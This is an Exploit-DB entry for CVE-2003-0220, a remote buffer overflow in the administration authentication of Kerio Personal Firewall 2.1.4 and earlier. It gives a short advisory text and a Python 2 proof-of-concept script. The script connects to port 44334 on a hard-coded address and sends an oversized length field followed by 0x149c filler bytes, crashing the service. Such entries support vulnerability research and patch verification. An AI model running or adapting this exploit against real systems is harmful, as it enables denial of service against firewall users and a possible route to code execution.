Kerio Personal Firewall 2.1.x - Remote Authentication Packet Buffer Overflow (1)

Author: Core Security
type: dos
platform: windows
port: 
date_added: 2003-04-28  
date_updated: 2012-11-02  
verified: 1  
codes: CVE-2003-0220;OSVDB-6294  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comKerio_Personal_Firewall_2.1.4-win.exe  

raw file: 22417.py  
source: https://www.securityfocus.com/bid/7180/info

A buffer-overflow vulnerability has been discovered in Kerio Personal Firewall. The problem occurs during the administration authentication process. An attacker could exploit this vulnerability by forging a malicious packet containing an excessive data size. The application then reads this data into a static memory buffer without first performing sufficient bounds checking.

Successful exploits of this vulnerability may allow an attacker to execute arbitrary commands on a target system, with the privileges of the firewall.

Note that this vulnerability affects Kerio Personal Firewall 2.1.4 and earlier.

import os
import socket
import struct
import string

def g():
     fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     try:
         fd.connect(('192.168.66.160', 44334))
         fd.recv(10)
         fd.recv(256)
         fd.send(struct.pack('!L', 0x149c))
         astr = 'A'*0x149c
         fd.send(astr)

     except Exception, e:
         print e
         pass

     fd.close()

g()